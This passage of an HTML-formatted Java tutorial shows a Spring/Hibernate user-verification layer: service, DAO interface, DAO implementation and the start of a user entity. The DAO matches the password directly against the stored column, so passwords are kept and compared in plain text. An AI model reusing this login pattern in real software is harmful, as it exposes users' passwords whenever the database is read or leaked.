&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  com.test.lab.model.UpUser;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;public class
  UserBoImpl implements UserBo{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; UserDAO userDAO;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //DI&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void setUserDAO(UserDAO userDAO){&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.userDAO = userDAO;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public Boolean verifyUser(UpUser user) {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // TODO Auto-generated method stub&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return userDAO.verifyUser(user);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;font-size: 6.0pt; mso-bidi-font-size: 11.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Now we are going to dig UserDAO what exactly it will do. As from the name it&#39;s quite clear that it will act as a data layer for us&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;package
  com.test.lab.dao;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  java.util.List;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  com.test.lab.model.UpUser;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;public
  interface UserDAO {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Boolean verifyUser(UpUser user);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;font-size: 6.0pt; mso-bidi-font-size: 11.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Once again we have created an interface of UserDAO. So, we must need to provide an implementation:&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;package
  com.test.lab.dao.impl;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  java.util.List;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  org.hibernate.criterion.DetachedCriteria;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  org.hibernate.criterion.Restrictions;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  org.springframework.orm.hibernate3.support.HibernateDaoSupport;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  com.test.lab.dao.UserDAO;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  com.test.lab.model.UpUser;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;public class
  UserDAOImpl extends HibernateDaoSupport &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;implements
  UserDAO{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public Boolean verifyUser(UpUser user) {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // TODO Auto-generated method stub&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Boolean result = false;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DetachedCriteria criteria =
  DetachedCriteria.forClass(&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; UpUser.class);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;
  criteria.add(Restrictions.eq(&quot;userScreenName&quot;,
  user.getUserScreenName()));&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;
  criteria.add(Restrictions.eq(&quot;userPassword&quot;,
  user.getUserPassword()));&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;
  &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;List&amp;lt;UpUser&amp;gt; list =
  getHibernateTemplate().findByCriteria(criteria);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;if(list.size()&amp;gt;0)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;result = true;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;return result;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;font-size: 6.0pt; mso-bidi-font-size: 11.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
Entity of UpUser:&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;package
  com.test.lab.model;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  java.util.Date;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  java.util.HashSet;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  java.util.Set;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;/**&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;* UpUser entity. @author MyEclipse
  Persistence Tools&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;public class
  UpUser implements java.io.Serializable {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Fields&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private Integer userId;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
